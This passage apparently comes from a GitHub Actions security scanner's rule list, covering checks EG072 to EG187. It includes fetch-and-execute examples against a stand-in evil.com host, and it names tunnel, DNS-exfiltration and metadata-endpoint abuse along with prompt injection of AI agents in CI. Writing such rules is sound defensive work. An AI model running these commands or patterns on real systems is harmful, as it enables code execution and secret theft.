composite actions do not define permissions (ignored) Composite actions cannot define permissions. Presence implies the author expects sandboxing that does not exist. Guard: action.yml files (composite/docker/js) cannot define permissions. If present, it's ignored, but suggests the author thinks the action is sandboxed.source |
| EG072 | check_no_checkout_clean_false |
actions/checkout does not disable clean workspace actions/checkout with clean: false persists the workspace on self-hosted runners, enabling cross-run contamination. Guard: clean: false disables the default cleanup of the workspace. On self-hosted runners, this allows files from a previous (potentially malicious) run to persist and affect the current run.source |
| EG073 | check_no_global_env_token_exposure |
GITHUB_TOKEN is not defined in global env block Defining GITHUB_TOKEN in the top-level env block exposes it to every job and step, violating least privilege. Guard: The top-level env: block is inherited by all jobs. Placing the GITHUB_TOKEN there grants permissions to every step, including untrusted ones.source |
| EG074 | check_no_secrets_in_global_env |
top-level env block does not contain secret expressions Top-level env is inherited by every job and step. Placing secrets there broadens exposure across the entire workflow. Guard: Any ${{ secrets.* }} expression in top-level env fans out to every job and step, including tooling and third-party actions that do not need it.source |
| EG075 | check_no_dynamic_uses |
uses: directives are not dynamic expressions Dynamic uses: expressions allow executing arbitrary code/actions determined at runtime, bypassing static analysis and pinning checks. Guard: uses: ${{ ... }} allows the workflow to execute code that cannot be statically analyzed or pinned. This is a common evasion technique.source |
| EG076 | check_no_checkout_submodules |
actions/checkout does not enable submodules Checking out submodules allows the PR author to point .gitmodules to malicious repositories, potentially triggering SSRF or fetching bad code. Guard: submodules: true in actions/checkout will fetch submodules defined in .gitmodules. In a PR, an attacker can modify this file to point to arbitrary URLs.source |
| EG077 | check_no_secrets_in_input_defaults |
input defaults do not contain secrets Secrets in workflow_dispatch defaults are exposed in plain text in the GitHub UI to anyone with write access. Guard: default: ${{ secrets.API_KEY }} in a workflow_dispatch or workflow_call input renders the secret value in the "Run workflow" UI dialog. Only flag lines that are actually inside an inputs definition block, not arbitrary run-block content or comments that happen to contain both "default:" and "secrets.".source |
| EG078 | check_no_untrusted_context_in_shell_param |
shell: parameter does not interpolate untrusted context Untrusted context in shell: parameters enables command injection since the shell invocation string is attacker-controlled. Guard: The shell: key selects the interpreter GitHub Actions uses to execute the step. Interpolating untrusted context (e.g. an input value or branch name) gives an attacker direct control over the interpreter selection string, enabling command injection at the shell-invocation level. source |
| EG079 | check_no_untrusted_context_in_working_directory |
working-directory does not interpolate untrusted context Untrusted context in working-directory enables path traversal — an attacker-controlled branch name can escape the workspace. Guard: working-directory sets the CWD for a step. Attacker-controlled context (e.g. a PR branch name containing "../../") enables path traversal, letting a malicious PR escape the workspace and operate on arbitrary runner paths. source |
| EG080 | check_no_needs_output_in_shell_blocks |
needs..outputs are not interpolated in shell blocks Job outputs passed via needs..outputs can carry attacker-controlled data (e.g. PR titles, issue bodies) across job boundaries into shell injection sinks. Guard: needs.*.outputs forward data across job boundaries. When an upstream job captures attacker-controlled data (e.g. a PR title or issue body) as an output, interpolating it in a downstream run: block creates a shell injection sink. Pass the value through env: instead. source |
| EG081 | check_no_fromjson_untrusted_in_matrix |
fromJSON() does not use untrusted sources in matrix strategy fromJSON() applied to needs..outputs or attacker-controlled context in strategy.matrix propagates tainted data into matrix. variables used in run: blocks. Guard: fromJSON() applied to needs..outputs or other attacker-controlled context in strategy.matrix propagates tainted data into matrix. variables, which are later consumed in run: blocks as injection sinks. Validate and sanitize JSON data before using it to generate matrix values. source |
| EG082 | check_no_untrusted_context_in_job_fields |
job control fields do not interpolate untrusted context Untrusted context in timeout-minutes, continue-on-error, or max-parallel fields lets attackers manipulate job execution flow via expression injection. Guard: timeout-minutes, continue-on-error, and max-parallel accept expression syntax. Injecting attacker-controlled context there lets an attacker manipulate job execution flow — e.g. disabling timeouts or forcing jobs to continue after failures that should block the run. source |
| EG083 | check_no_untrusted_context_in_container_image |
container and service images do not use untrusted context Untrusted context in container or services image fields lets attackers control which Docker image a job runs in, enabling full code execution. Guard: The container: and services: image fields select which Docker image a job runs in. Interpolating attacker-controlled context lets a malicious PR substitute an arbitrary image, achieving full code execution with the job's token and permissions from the very start of the job. source |
| EG084 | check_no_always_without_cancelled |
if: always() is not used without cancelled() guard if: always() continues running even when the workflow is cancelled. Attackers can trigger cancellation to waste CI minutes or race against security scans. Guard: if: always() runs a step/job even when the workflow is cancelled. This prevents workflow cancellation from actually stopping work, wastes CI minutes, and can leave stale state. The correct pattern is !cancelled() which runs on success OR failure but still respects cancellation. (GitHub Docs: Expressions, zizmor: excessive-permissions)source |
| EG085 | check_no_self_hosted_runners |
workflows do not target self-hosted runners Self-hosted runners persist state between jobs. Untrusted PR code can install backdoors, steal credentials, or pivot to internal networks. Guard: self-hosted runners persist filesystem, network access, and process state between jobs. On public repositories, any fork can submit a PR that executes on the self-hosted runner, enabling credential theft, lateral movement to internal networks, and persistent backdoor installation. (GitHub Docs: Security Hardening, Adnan Khan: Self-Hosted Runner Attacks) source |
| EG086 | check_no_docker_privileged_or_host_network |
docker run does not use --privileged or --network=host docker run --privileged gives full host capabilities. --network=host exposes the runner's network stack, enabling SSRF and metadata endpoint access. Guard: docker run --privileged grants full host capabilities including device access, bypassing all container isolation. --network=host exposes the runner's full network stack, enabling IMDS/metadata endpoint access (169.254.169.254) and lateral movement. Both defeat container sandboxing. Also handles multi-line docker commands with shell continuation (). (Docker Security Best Practices, OWASP CI/CD Top 10)source |
| EG087 | check_no_untrusted_context_in_runs_on |
runs-on field does not interpolate untrusted context Attacker-controlled context in runs-on: lets a malicious PR route jobs to attacker-owned self-hosted runners, achieving full code execution with secrets. Guard: if runs-on: uses attacker-controlled context, a malicious PR can route the job to an attacker-registered self-hosted runner, achieving full code execution with access to all secrets and write permissions. (GitHub Security Lab, Adnan Khan: Self-Hosted Runner Label Injection)source |
| EG088 | check_no_create_delete_triggers_with_write_token |
create/delete triggers are not combined with write permissions create/delete events fire on tag/branch creation by anyone with push access. Combined with write permissions, they enable privilege escalation via crafted tag names. Guard: on: create and on: delete fire when tags or branches are created or deleted. Tag and branch names are attacker-controlled. If the workflow has write permissions, an attacker can craft a tag name containing shell metacharacters and inject commands via github.ref or github.event.ref. (GitHub Security Lab: Reviewing GitHub Actions, GHSL-2024-177)source |
| EG089 | check_no_docker_socket_mount |
docker.sock is not mounted in run blocks Mounting the Docker socket (/var/run/docker.sock) gives the container root-equivalent access to the host, bypassing all isolation. Guard: docker run -v /var/run/docker.sock:/var/run/docker.sock gives the container root-equivalent access to the host system. The container can spawn sibling containers, read/write host files, and escape to the host entirely. (Docker Security Best Practices, CIS Docker Benchmark 5.31)source |
| EG090 | check_no_debug_logging_enabled |
debug logging is not permanently enabled ACTIONS_STEP_DEBUG=true dumps every environment variable (including secrets that failed masking) into runner diagnostic logs accessible to anyone with read access. Guard: Setting ACTIONS_STEP_DEBUG: true or ACTIONS_RUNNER_DEBUG: true in workflow env or step env causes GitHub Actions to dump every environment variable into runner diagnostic logs. Secrets that failed masking (e.g. multi-line secrets, secrets embedded in JSON) become visible to anyone who can view the workflow logs. (GitHub Docs: Monitoring and Troubleshooting, zirmor: debug-logging)source |
| EG091 | check_no_write_permissions_on_pr_trigger |
PR-triggered workflows with write permissions do not checkout PR code Workflows triggered by pull_request with write permissions that also checkout code give fork PRs a path to code execution with write access. Guard: a workflow triggered by pull_request that grants write permissions AND checks out code creates a dangerous trust combination. While pull_request (unlike pull_request_target) checks out the merge ref, write permissions combined with checkout + execution in the same job means any code execution vulnerability (injection, compromised action) has write token access. This is the "write-scoped checkout" pattern specifically in PR contexts where fork code influence exists. (GitHub Security Lab: Keeping Your GitHub Actions Secure)source |
| EG092 | check_no_unquoted_variable_in_dangerous_commands |
dangerous commands do not use unquoted variable expansion Unquoted variables in rm, mv, cp, chmod commands enable word splitting and glob expansion, turning filenames with spaces or wildcards into unintended operations. Guard: unquoted variable expansions in destructive commands (rm, mv, cp, chmod, chown) are vulnerable to word splitting and glob expansion. A filename containing spaces becomes multiple arguments; a filename containing * expands to all files. This is a classic shell scripting vulnerability that can cause data loss or privilege escalation. (ShellCheck SC2086, Bash Pitfalls #1) source |
| EG093 | check_no_excessive_fetch_depth_with_write_permissions |
fetch-depth 0 is not used in write-scoped jobs fetch-depth: 0 clones full repository history. In write-scoped jobs, this maximizes data exposure if any step is compromised. Guard: fetch-depth: 0 downloads full git history including all branches and tags. In a write-scoped job, if any step is compromised, the attacker gets access to the entire repository history plus a write-capable token. (GitHub Docs: actions/checkout, ArtiPACKED research)source |
| EG094 | check_no_mutable_tag_in_docker_run |
docker run images are pinned to SHA digest docker run with mutable image tags (:latest, :v1) allows silent image replacement via registry tag mutation, enabling supply chain injection. Guard: docker run commands in workflows that use mutable image tags (e.g., :latest, :v1, no tag) are vulnerable to registry tag mutation. An attacker who compromises the registry can replace the image behind the tag without any change to the workflow file. (Aqua Security: Supply Chain Attacks via Docker Images, zizmor: unpinned-images)source |
| EG095 | check_no_cancel_in_progress_on_default_branch |
cancel-in-progress is not used on default branch push triggers cancel-in-progress on push to default branch allows a race: an attacker pushes benign code, waits for scan to start, then force-pushes — cancelling the security scan. Guard: cancel-in-progress: true combined with push triggers on protected branches (main/master) means a second push cancels the in-progress security scan before it completes. An attacker with push access can exploit this race to bypass security coverage: push benign code, wait for scan, force-push malicious code — the first scan is cancelled and the second runs on new code but reviewers may still see the old diff. (GitHub Docs: Concurrency, Security audit research)source |
| EG096 | check_no_dangerous_yaml_tags |
YAML files do not contain dangerous type tags YAML tags like !!binary base64-decode at parse time, completely bypassing all string-matching guards. !!python/* tags execute arbitrary code. Guard: YAML tags like !!binary, !!python/object, !!python/module, !!python/object/apply, and other dangerous type tags can bypass every string-matching security check in this scanner. !!binary base64-decodes at parse time, so a value like !!binary Y3VybCBodHRwOi8vZXZpbC5jb20gfCBiYXNo would decode to `curl http://evil.com
|
| EG097 | check_no_fetch_then_execute |
run blocks do not download then execute without integrity check Downloading to file then executing in a separate command bypasses the curl|bash pipe check. This is a two-step variant of the same attack. Guard: Two-step fetch-and-execute patterns like: curl -o script.sh https://evil.com/payload bash script.sh or: wget -O setup.sh https://evil.com/payload chmod +x setup.sh && ./setup.sh These bypass the single-line pipe-to-shell check because the download and execution happen on separate lines. source |
| EG098 | check_no_step_output_in_shell_blocks |
steps..outputs are not interpolated in shell-like blocks Step outputs can carry attacker-controlled data within the same job. Direct interpolation in run/script blocks creates an injection sink. Guard: steps..outputs carry data produced within the same job. When an earlier step echoes attacker-controlled input (e.g. a PR title) into its output, interpolating that output directly in a later run: or env: block creates an intra-job shell injection sink. source |
| EG099 | check_no_environment_name_from_untrusted_context |
job environment names do not use untrusted context Dynamic environment names can route deployments to unintended environments and bypass expected protection/approval controls. Guard: The environment: name controls which GitHub deployment environment (and its protection rules and secrets) applies to a job. Interpolating untrusted context there lets an attacker bypass protection gates or misroute the job to an environment with weaker controls. source |
| EG100 | check_no_runs_on_from_untrusted_context |
runs-on does not use untrusted or input-derived context Dynamic runner selection from untrusted data can route jobs to unintended runner pools, including attacker-controlled self-hosted labels. Guard: Delegates to check_no_untrusted_context_in_runs_on. Dynamic runs-on values derived from untrusted or caller-controlled context can route jobs to unintended or attacker-owned runner pools, achieving full code execution with the job's secrets. source |
| EG101 | check_no_container_privileged_option |
container/services options do not use privileged escalation flags--privileged and --cap-add SYS_ADMIN collapse container isolation and materially increase host compromise risk.Guard: --privileged grants the full Linux capability set to the container, giving it root-equivalent access to the host kernel. --cap-add SYS_ADMIN has nearly the same effect. Either option collapses container isolation and enables host-level compromise of the runner. source |
| EG102 | check_no_self_hosted_runner_in_publicly_triggered_workflow |
publicly-triggered workflows do not use self-hosted runners Public triggers plus self-hosted execution run attacker-influenced jobs on private infrastructure with persistent state and internal network reach. Guard: Self-hosted runners persist state between jobs and have access to private infrastructure. Using them in workflows triggered by public events (pull_request, issues, etc.) lets attacker-influenced jobs run on private infrastructure, enabling lateral movement and credential theft. source |
| EG103 | check_no_eval_in_github_script |
github-script blocks do not use eval-like JavaScript sinkseval, new Function, vm.runIn*, and child_process.exec* are direct code-execution sinks in actions/github-script blocks.Guard: eval(), new Function(), vm.runIn*(), and child_process.exec() are code-execution sinks inside actions/github-script blocks. Combining these APIs with attacker-controlled context.payload fields achieves RCE without needing expression injection. source |
| EG104 | check_no_js_context_taint_in_github_script |
github-script blocks do not pass JS context taint to execution sinks context.payload/context.issue in github-script provides untrusted event data via JS; combining with child_process/exec sinks enables RCE without expression injection. source |
| EG105 | check_no_secrets_in_cache_key |
cache keys do not include secrets or github token Cache keys are visible in logs; embedding secrets.* or token expressions can leak credential material.Guard: actions/cache logs the cache key in plain text in the workflow run log. Embedding secrets.* or github.token expressions in cache keys or restore-keys leaks credential material to anyone with read access to the repository logs. source |
| EG106 | check_no_github_token_in_job_env |
job-level env does not expose GITHUB token Job-level token env variables are inherited by all steps in the job, unnecessarily broadening credential exposure. Guard: Defining GITHUB_TOKEN or other token values in a job-level env: block exposes the credential to every step in that job — including third-party actions and any injected commands. Move token env assignments to only the specific step that requires them. source |
| EG107 | check_no_git_config_global |
run blocks do not mutate global/system git configgit config --global/--system changes runner-wide behavior and can persist malicious hooks/helpers or credential rewrites.Guard: git config --global/--system/--worktree modifies runner-wide git configuration that persists beyond the current step. This can install malicious hooks, credential helpers, or URL rewrites that affect all subsequent git operations on the runner. source |
| EG108 | check_no_actions_step_debug_enabled |
workflow debug env vars are not hardcoded true Hardcoding ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUG increases sensitive log exposure and should not be permanent in workflow files.Guard: Delegates to check_no_debug_logging_enabled. Hardcoding ACTIONS_STEP_DEBUG=true or ACTIONS_RUNNER_DEBUG=true in workflow files permanently enables verbose logging, which can expose sensitive env values and output data to anyone with read access to the run logs. source |
| EG109 | check_no_github_event_path_in_shell_blocks |
run blocks do not use GITHUB_EVENT_PATH unsafely$GITHUB_EVENT_PATH contains untrusted event payload data; unsafe shell substitution/piping from it can bypass expression-based guards.Guard: $GITHUB_EVENT_PATH is the path to a JSON file containing the full event payload, which includes attacker-controlled fields (PR body, commit messages, etc.). Directly expanding it in shell substitution or piping it to commands bypasses expression-based injection guards. source |
| EG110 | check_no_schedule_too_frequent |
schedule cron is not too frequent Very frequent schedules can cause CI cost/rate-limit issues and indicate misconfiguration or abuse. Guard: Cron schedules more frequent than every 15 minutes can exhaust shared runner capacity and billable CI minutes. In security workflows this also indicates misconfiguration — scans should run hourly or daily, not on sub-minute intervals. source |
| EG111 | check_no_contents_write_and_pull_requests_write_together |
permissions do not combine contents:write with pull-requests:write Combining both write scopes in one permissions block creates a high-risk token capability set for repo and PR mutation. Guard: Combining contents: write (push to branches/tags) with pull-requests: write (merge/comment/approve PRs) in the same token scope creates a dangerous capability pair. Any compromised step in that job can push malicious code and self-approve a PR merging it. source |
| EG112 | check_no_lfs_in_checkout |
actions/checkout does not enable LFSlfs: true can force costly large-object downloads and increase abuse/DoS risk in publicly-triggered workflows.Guard: actions/checkout with lfs: true fetches Git LFS objects referenced in the repository. In publicly-triggered workflows a PR can force expensive LFS pulls, exhausting bandwidth and storage quotas. Disable LFS unless explicitly required and avoid enabling it on untrusted trigger events. source |
| EG113 | check_no_untrusted_context_in_strategy_matrix |
strategy/matrix blocks do not use untrusted context Untrusted data in matrix definitions can taint downstream matrix.* values that later reach execution surfaces.Guard: strategy.matrix values become matrix.* variables that downstream run: blocks interpolate directly. If matrix values are derived from attacker- controlled context (e.g. needs outputs, inputs), those values become shell injection sinks in every matrix job. source |
| EG114 | check_no_save_always_cache_in_publicly_triggered_jobs |
publicly-triggered workflows do not use cache save-always truesave-always: true allows failing attacker-influenced jobs to persist poisoned cache state for later trusted runs.Guard: save-always: true causes actions/cache to persist the cache even when a job fails. In publicly-triggered workflows, a failing untrusted PR job can poison the cache with malicious content that a later trusted run restores and executes. source |
| EG115 | check_no_dynamic_env_file_path |
env/output/path redirects are not dynamically expression-driven Dynamic redirect targets can write to unintended files instead of fixed $GITHUB_ENV/$GITHUB_OUTPUT/$GITHUB_PATH files.Guard: Writing to $GITHUB_ENV, $GITHUB_OUTPUT, or $GITHUB_PATH via a dynamic redirect target (e.g. >> "$some_var") lets an attacker control which file receives the write, enabling arbitrary file overwrite on the runner. Use literal >> "$GITHUB_ENV" / "$GITHUB_OUTPUT" / "$GITHUB_PATH" only. source |
| EG116 | check_no_trigger_filter_bypass_via_negation |
paths-ignore does not exclude security-critical workflow/yaml paths Ignoring workflow/security YAML paths can allow workflow-only changes to bypass expected security checks. Guard: paths-ignore: entries matching .github/workflows/** or broad YAML globs mean that a PR modifying only workflow files skips the security scan entirely. An attacker can introduce a malicious workflow change that bypasses scanning by ensuring it is the only file changed. source |
| EG117 | check_no_job_level_secrets_inherit |
job-level reusable workflow calls do not use secrets: inherit Job-level secrets: inherit on reusable workflow calls forwards all caller secrets and breaks least-privilege boundaries.Guard: secrets: inherit at the job level forwards every secret in the caller's context to the reusable workflow call, including secrets the callee does not need. Any compromise of the callee can exfiltrate the full set of caller secrets. Use an explicit minimal secrets mapping instead. source |
| EG118 | check_no_node_modules_in_uses |
uses: directives do not reference composite actions inside node_modules/ uses: ./node_modules/... executes a composite action from node_modules/, which is excluded from scanning — a supply-chain attack vector. source |
| EG119 | check_no_imds_endpoint_access |
run blocks do not access cloud metadata (IMDS) endpoints Cloud metadata endpoints (169.254.169.254, metadata.google.internal) expose IAM credentials to any code running on the runner, enabling cloud privilege escalation. source |
| EG120 | check_no_tunnel_tools |
run blocks do not use reverse tunnel or proxy tools Reverse tunnel tools (ngrok, cloudflared, serveo) expose the runner's internal network to the internet, enabling persistent backdoor access and data exfiltration. source |
| EG121 | check_no_aws_credentials_in_env |
env blocks do not contain hardcoded AWS credentials Hardcoded AWS credentials (AKIA* access key IDs, secret access keys) are visible to all repo readers and persist in git history. source |
| EG122 | check_no_dns_exfiltration_patterns |
run blocks do not use DNS tools for data exfiltration DNS tools (nslookup, dig, host) with interpolated variables encode secrets into DNS queries, bypassing network egress controls. source |
| EG123 | check_no_docker_pid_host |
docker commands do not use --pid=host --pid=host shares the host PID namespace, exposing all host process environment variables (including secrets) to the container. source |
| EG124 | check_no_ssh_private_key_in_env |
run blocks do not write SSH private keys to disk SSH private keys written to disk or added via ssh-agent are accessible to all subsequent steps, enabling credential theft and lateral movement. source |
| EG125 | check_no_actions_cache_url_exposure |
ACTIONS_CACHE_URL is not referenced directly in run blocks ACTIONS_CACHE_URL + ACTIONS_RUNTIME_TOKEN provide direct cache API access, enabling cache poisoning reads and writes outside normal controls. source |
| EG126 | check_no_terraform_state_in_artifacts |
upload-artifact does not include terraform state files Terraform state files contain plaintext secrets (database passwords, API keys). Uploading them as artifacts exposes secrets to anyone with repo read access. source |
| EG127 | check_no_git_hooks_path |
run blocks do not set git core.hooksPath or GIT_TEMPLATE_DIR Setting core.hooksPath or GIT_TEMPLATE_DIR injects arbitrary code into git operations (checkout, commit, merge) via hook scripts. source |
| EG128 | check_no_docker_dangerous_capabilities |
docker commands do not use dangerous --cap-add capabilities --cap-add with NET_ADMIN, SYS_PTRACE, NET_RAW, SYS_RAWIO, SYS_MODULE, or ALL grants near-root capabilities that break container isolation. source |
| EG129 | check_no_docker_sensitive_volume_mounts |
docker commands do not mount sensitive host paths Docker volume mounts of /etc, /root, /home, /proc, /sys, ~/.ssh, ~/.aws give containers direct access to host credentials and system files. source |
| EG130 | check_no_secrets_in_package_manager_commands |
secrets are not passed as package manager CLI arguments Secrets passed as CLI arguments to npm/pip/cargo/docker-login are visible in the process table to all concurrent processes on the runner. source |
| EG131 | check_no_github_app_token_broad_exposure |
GitHub App tokens are not broadly exposed via job outputs or env GitHub App tokens can have broader permissions than GITHUB_TOKEN. Exposing them via job-level env or outputs gives every step (including untrusted actions) access. source |
| EG132 | check_no_credential_files_after_checkout |
workspace credential files are not copied to home directories PR-modified .npmrc, .pypirc, .netrc can redirect package managers to attacker-controlled registries after checkout. source |
| EG133 | check_no_mixed_trust_triggers |
workflows do not combine trusted and untrusted triggers Combining trusted (push, schedule) and untrusted (pull_request_target, issue_comment) triggers in one workflow exposes trusted-trigger secrets to untrusted-trigger contexts. source |
| EG134 | check_no_workflow_command_annotation_injection |
workflow annotations do not inject untrusted context and add-matcher is absent ::warning/::error/::notice with untrusted context can inject fake annotations to mislead reviewers. ::add-matcher:: registers custom problem matchers. source |
| EG135 | check_no_oidc_token_without_audience |
OIDC tokens are requested with explicit audience OIDC tokens without audience restriction can be presented to any relying party that trusts GitHub Actions, enabling cross-service privilege escalation. source |
| EG136 | check_aws_oidc_role_session_name |
AWS OIDC configure-aws-credentials includes role-session-name aws-actions/configure-aws-credentials with role-to-assume but no role-session-name suggests the AWS IAM trust policy may lack a sub-claim condition, allowing any GitHub Actions workflow to assume the role (cf. UNC6426 QUIETVAULT campaign). source |
| EG137 | check_no_gitattributes_filter_smudge |
.gitattributes does not define filter/smudge code execution hooks .gitattributes filter/smudge attributes execute arbitrary commands during git checkout, bypassing all workflow-level controls. source |
| EG138 | check_no_issue_comment_dispatch_without_author_check |
issue_comment ChatOps workflows verify commenter identity ChatOps workflows triggered by issue_comment without verifying commenter identity let any user trigger privileged actions. source |
| EG139 | check_no_npm_pip_install_in_pr_target_checkout |
pull_request_target workflows do not run package installs after PR checkout Package manager install commands (npm install, pip install .) execute lifecycle scripts from attacker-controlled files after PR HEAD checkout. source |
| EG140 | check_no_make_after_untrusted_checkout |
pull_request_target workflows do not run make after PR checkout make executes arbitrary shell commands from attacker-controlled Makefiles after PR HEAD checkout in pull_request_target workflows. source |
| EG141 | check_no_git_clone_external_repos |
run blocks do not git clone with interpolated URLs git clone with interpolated URLs in run blocks fetches unverified external code that subsequent steps may execute. source |
| EG142 | check_no_service_container_default_credentials |
database service containers have explicit credentials Database service containers (postgres, mysql, redis) without explicit credentials are accessible from any compromised step in the job. source |
| EG143 | check_no_label_based_security_gates |
label-based conditions are not used as security gates Labels can be added by anyone with triage permission. Using labels as security gates in privileged workflows is bypassable. source |
| EG144 | check_no_untrusted_context_equality_in_if_gates |
if: conditions do not use untrusted context as authorization gates Untrusted context in if: equality checks uses attacker-controlled data as an authorization gate. source |
| EG145 | check_no_workflow_rerun_without_environment_protection |
write-permission jobs use environment protection Write-permission workflows without environment protection can be re-run by any contributor to execute privileged operations. source |
| EG146 | check_no_multiple_document_yaml |
YAML files do not contain multiple document separators YAML document separators (---) can hide secondary documents from line-based scanning, enabling parser confusion and bypass. source |
| EG147 | check_no_repojacking_vulnerable_actions |
actions are not from repojacking-vulnerable namespaces Renamed GitHub users leave old org/user names claimable. Actions referencing claimable namespaces can be hijacked. source |
| EG148 | check_no_workflow_dispatch_without_required_inputs |
workflow_dispatch string inputs have required: true workflow_dispatch string inputs without required:true allow empty values that may cause unexpected behavior or bypass validation. source |
| EG149 | check_no_scheduled_workflow_with_pr_target |
schedule trigger is not combined with pull_request_target Combining schedule and pull_request_target triggers indicates a confused trust model. source |
| EG150 | check_no_actions_from_personal_forks |
actions are referenced from canonical organization namespaces Actions referenced from personal fork namespaces that shadow well-known org actions may be supply-chain substitution attempts. source |
| EG151 | check_no_workflow_run_conclusion_gate_bypass |
workflow_run triggers check conclusion == success workflow_run triggers fire regardless of conclusion. Without checking success, follow-up workflows process tainted artifacts from failed runs. source |
| EG152 | check_no_ai_agent_with_untrusted_input |
AI agents are not invoked in workflows with untrusted triggers AI agents (gemini, claude, codex, copilot) in untrusted-trigger workflows are vulnerable to prompt injection via issue/PR content (PromptPwnd, Clinejection, HackerBot-Claw 2025-2026). source |
| EG153 | check_no_cache_in_publish_workflows |
actions/cache is not used in publish or release workflows Cache poisoning can pivot from low-privilege workflows to high-privilege release workflows (Clinejection Dec 2025). source |
| EG154 | check_no_secret_exfiltration_via_http |
run blocks do not exfiltrate secrets via HTTP POST The GhostAction campaign (Sep 2025) exfiltrated 3,325 secrets via HTTP POST to attacker-controlled endpoints, bypassing log masking. source |
| EG155 | check_no_xygeni_compromised_action |
compromised xygeni/xygeni-action is not referenced CVE-2026-31976: xygeni/xygeni-action was tag-poisoned with a C2 reverse shell backdoor for 7 days (March 2026). source |
| EG156 | check_no_runner_registration_commands |
run blocks do not contain runner registration commands Shai-Hulud 2.0 (Nov 2025) installed rogue self-hosted runners as persistent C2 backdoors via config.sh/svc.sh. source |
| EG157 | check_no_typosquatted_action_references |
action references do not use typosquatted org names Orca Security found 194 workflows calling typosquatted orgs (action/ vs actions/, actons/, actinos/). A single typo routes to attacker code. source |
| EG158 | check_no_static_cloud_credentials_in_secrets |
static cloud credentials are not used in secrets 73% of organizations store static cloud credentials in GitHub Secrets (Wiz 2025). OIDC-based authentication eliminates long-lived secrets. source |
| EG159 | check_no_process_memory_access_in_run |
run blocks do not access process memory The tj-actions/changed-files payload (CVE-2025-30066) dumped runner /proc/*/mem to extract secrets not available via environment variables. source |
| EG160 | check_no_base64_encoded_secrets_in_run |
secrets are not piped through base64 encoding The reviewdog/action-setup payload (CVE-2025-30154) used double-base64 encoding to bypass GitHub's automatic log masking. source |
| EG161 | check_no_debug_artifact_upload |
upload-artifact on failure does not upload broad paths CodeQLEAKED (CVE-2025-24362): failed workflow debug artifacts contained environment variables including valid GITHUB_TOKEN. source |
| EG162 | check_no_npm_pip_without_lockfile |
PR workflows use lockfile-based dependency installs npm install/pip install without lockfile integrity (npm ci, --require-hashes) enables supply chain attacks like Shai-Hulud (2025). source |
| EG163 | check_no_setup_py_in_pr_target_checkout |
pull_request_target does not run build commands on untrusted code CVE-2025-47928 (Sysdig MITRE/Splunk): setup.py/poetry install/cargo build in pull_request_target executes attacker code. source |
| EG164 | check_oidc_workflows_use_environment_protection |
OIDC cloud auth workflows use environment protection rules Without environment protection, any workflow run can mint OIDC tokens and assume cloud roles (Tinder/Datadog research, UNC6426). source |
| EG165 | check_no_ai_instruction_file_in_pr_target |
pull_request_target with AI tools does not checkout PR head HackerBot-Claw (Feb 2026) replaced CLAUDE.md with prompt injection to manipulate AI agents into inserting backdoors. source |
| EG166 | check_no_write_all_permissions |
permissions: write-all is not used write-all grants unrestricted token permissions (GHSL-2025-105 vets-api). Equivalent to having no restrictions at all. source |
| EG167 | check_no_github_actor_in_security_gates |
github.actor is not used as a security gate in if: conditions github.actor can be spoofed in certain contexts (Zizmor research). Should not be used for trust decisions. source |
| EG168 | check_no_vulnerable_dawidd6_download_artifact |
dawidd6/action-download-artifact is v6 or later GHSA-5xr6-xhww-33m4: versions before v6 searched forks by default, enabling cross-fork artifact poisoning. source |
| EG169 | check_no_npm_publish_without_provenance |
npm publish includes --provenance for SLSA attestation Without --provenance, published packages have no cryptographic proof of build origin (UNC6426, OpenSSF). source |
| EG170 | check_vault_action_specifies_audience |
hashicorp/vault-action specifies jwtGithubAudience Without jwtGithubAudience, misconfigured Vault roles may accept OIDC tokens from any repository. source |
| EG171 | check_no_cache_restore_before_checkout |
actions/cache does not appear before actions/checkout Cacheract (Dec 2025): cache restoration before checkout overwrites package.json/Makefile, enabling code execution in builds. source |
| EG172 | check_no_broad_cache_restore_keys |
cache restore-keys are not overly broad single-segment prefixes Cache smashing attacks exploit broad restore-keys by flooding >10GB junk to evict entries, then planting poisoned matches. source |
| EG173 | check_no_iam_creation_in_oidc_workflows |
OIDC workflows do not create IAM principals or access keys UNC6426 (Mar 2026) created IAM roles with AdministratorAccess via CloudFormation from OIDC-authenticated GitHub Actions. source |
| EG174 | check_no_kubeconfig_in_secrets |
static kubeconfig secrets are not used (prefer OIDC) Static kubeconfig with cluster-admin gives any compromised workflow full Kubernetes cluster takeover. source |
| EG175 | check_no_systemd_launchd_service_in_run |
run blocks do not create systemd or launchd services Shai-Hulud (2025) and SigmaHQ detections document runner persistence via systemd/launchd service creation. source |
| EG176 | check_pull_request_target_with_cloud_credentials |
pull_request_target workflows do not use cloud credentials Orca Pull Request Nightmare (2025): pull_request_target + cloud auth enables direct cloud infrastructure lateral movement. source |
| EG177 | check_no_artifact_without_attestation |
publish workflows with upload-artifact include attestation Without actions/attest-build-provenance, published artifacts have no cryptographic SLSA provenance. source |
| EG178 | check_github_app_token_permissions_scoped |
actions/create-github-app-token has explicit permissions Unscoped GitHub App tokens inherit all installation permissions (Wiz: 80% of Apps grant write access). source |
| EG179 | check_no_dependabot_workflow_with_elevated_secrets |
pull_request workflows do not use elevated secrets Dependabot PRs can trigger privileged workflow execution with access to custom secrets (Synacktiv). source |
| EG180 | check_no_self_hosted_runner_without_environment |
self-hosted runners in PR workflows use environment protection Fork PRs execute on self-hosted runners, gaining network access to internal infrastructure (Sysdig, Orca, Praetorian). source |
| EG181 | check_no_same_name_artifact_reupload |
artifact names are not reused across multiple jobs GitHub artifacts can be deleted/re-uploaded with the same name, undermining integrity (Imre Rad, 2025). source |
| EG182 | check_no_gpu_runner_without_timeout |
GPU runner jobs have timeout-minutes set GPU runners ($0.07/min+) are attractive for crypto mining. Without timeout-minutes, stuck jobs run indefinitely. source |
| EG183 | check_no_known_vulnerable_codeql_versions |
github/codeql-action meets minimum safe version (CVE-2025-24362) CodeQLEAKED: versions <= 3.28.2 leaked GITHUB_TOKEN in debug artifacts uploaded after failed scans. source |
| EG184 | check_no_workflow_run_with_artifact_and_id_token |
workflow_run jobs do not combine artifact download with id-token write Privilege escalation: unprivileged workflow uploads poisoned artifact, workflow_run with OIDC downloads it (Legit Security). source |
| EG185 | check_no_agentic_workflow_with_write_permissions |
AI/agentic workflows do not have write permissions GitHub Agentic Workflows (Feb 2026) default to read-only. Write access exposes AI agents to prompt injection attacks. source |
| EG186 | check_no_untrusted_context_in_github_output |
untrusted context is not written to GITHUB_OUTPUT Writing attacker-controlled context to $GITHUB_OUTPUT propagates taint to downstream jobs via needs.*.outputs, creating second-order injection. source |
| EG187 | check_no_untrusted_context_in_workflow_call_inputs |
